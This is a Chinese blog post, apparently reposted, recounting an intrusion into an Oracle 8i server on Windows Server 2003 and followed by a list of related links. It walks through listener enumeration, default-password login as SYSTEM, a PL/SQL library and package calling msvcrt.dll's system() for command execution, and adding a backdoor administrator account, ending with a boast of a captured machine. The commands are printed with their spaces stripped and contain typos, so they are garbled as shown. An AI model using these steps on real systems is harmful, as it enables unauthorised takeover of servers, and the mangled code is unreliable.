一次通過Oracle8i入侵系統之旅(組圖)
圖 1
埠 1521 是 Oracle 的 TNS Listener 預設監聽的埠,通過掃描報告還可以看到Oracle的版本為8i.現在還不知道對方的作業系統版本,看到主機還開放了終端服務,直接連上去看下作業系統版本.如圖 2,
圖 2
確定作業系統版本為 Windows Server 2003 企業版。Oracle 10g 之前的版本預設情況下是允許遠端管理TNSListener 的,這臺主機的 Oracle 版本為 8i,我們通過 TNSListenner來收集下更多的詳細資訊.如果本地安裝了 Oracle 可以直接呼叫 Lsnrctl 連線到測試的主機,如圖 3所示:
圖 3
通過輸入"status "命令我們可以得到 oracle詳細版本(8.1.70.0),作業系統(Windows),跟蹤級別為OFF(說明沒 有開啟稽核),安全性為 OFF(說明沒有設定Listener 口令),日誌檔案的絕對路徑(判斷 Oracle安裝路徑),資料庫的 SID(ccdr).
要遠端管理 Oracle, 需要知道 IP,資料庫的 SID,和連線的使用者名稱和密碼.IP 和 SID我們已經知道了.接下來用oscanner 工具掃描下要測試主機是否存在預設的密碼.如圖 4 所示.
看來管理員安裝完 Oracle8i 後就沒有進行進一步的安全配置 , 所有的使用者名稱密碼都是默的.在Oracle中,SYS/SYSTEM 都是具有 DBA 許可權的帳戶,我這裡選擇使用 SYSTEM/MA NAGER來連線資料庫.
在本地用 Sqlplus 連線到目標 Oracle 資料庫,命令為:
SqlPlussystem/manager@//victimip:1521/ccdr
連線成功後,可以通過 PL/SQL 來執行 OS 命令,首先需要建立庫來定位msvcrt.dll檔案.這裡需要使用完整的路徑,通過剛才對主機的查點我們已經知道作業系統為 win2003, 如果系統安裝到 C盤的話 , 那msvcrt.dll預設路徑就為c:\windows\system32\msvcrt.dll.建立庫的命令如下:
CREATEORREPLACELIBRARYexec_shellAS"c:\windows\system32\msvcrt.dll";
接下來寫一個過程來呼叫 msvcrt.dll 裡的 system()函式.命令如下:
CREATEORREPLACEPACKAGEoracmdIS
PROCEDUREexec(cmdstringINCHAR);
endoracmd;
/
CREATEOREREPLACEPACKAGEBODYoracmdIS
PROCEDUREexec(cmdstringINCHAR)
ISEXTERNAL
NAME"system"
LIBRARYexec_shell
LANGUAGEC;
endoracmd;
/
建立完後,就可以執行 OS 命令了.由於主機已經開放了終端服務,所以我這裡新增個管理員,然後連線伺服器.命令如下:
execoracmd.exec("netusermickeyimissyou/add");
execoracmd.exec("netlocalgroupadministratorsmickey/add");
帳戶建立完成後,如圖 5,就可以連線終端服務了,一臺肉雞到手了.:-)
圖 5
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/1384/viewspace-349372/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 記一次Linux系統被入侵的排查過程(一)Linux
- Oracle8i系統概述(轉)Oracle
- 千兆應用入侵防護系統—入侵防禦系統(轉)
- SNORT入侵檢測系統
- Snort 入侵檢測系統
- 記一次系統演變過程
- 一次系統升級的過程
- 如何在 Linux 系統中通過使用者組來管理使用者Linux
- 無線入侵檢測系統
- 人員入侵檢測系統
- 通過java畫文字格式的統計圖Java
- 一次HTTP通訊過程HTTP
- 基於圖的下一代入侵檢測系統
- 重新安裝系統避免病毒入侵
- 一次HIS系統卡頓原因排查過程分享
- 一次Linux系統被***的分析過程Linux
- 黑客組織“奇幻熊”入侵國際田聯絡統黑客
- 通過shell繫結系統程式調優
- win10系統如何通過命令關閉系統賬戶_win10通過命令關閉系統賬戶的步驟Win10
- 通過FTP訪問ASM磁碟組FTPASM
- 第一次作業——圖書管理系統
- 系統整合專案管理工程師中高階PMP一次通過經驗之談專案管理工程師
- XSS挑戰之旅(通過看程式碼解題)
- 在Linux中,什麼是入侵檢測系統(IDS)和入侵防禦系統(IPS)?Linux
- 系統被入侵後的恢復(轉)
- Linux 9系統下構建小型入侵檢測系統Linux
- 通過Android應用更改系統時間Android
- 終於將SAP系統完全配置通過了
- 通過PowerShell獲取Windows系統密碼HashWindows密碼
- Immersion系統可通過Gmail分析交往資訊AI
- ES 24 - 如何通過Elasticsearch進行聚合檢索 (分組統計)Elasticsearch
- Rust之旅 02.通過例子學習自定義型別Rust型別
- 系統程式是什麼?怎麼通過系統程式進行病毒分析?
- 黑客通過崩潰銀行的計算機嘗試入侵 SWIFT黑客計算機Swift
- 一次Linux系統被攻擊的分析過程Linux
- 網路安全筆記-入侵檢測系統筆記
- linux檢測系統是否被入侵(上)Linux
- 防止駭客入侵系統建立隱藏帳戶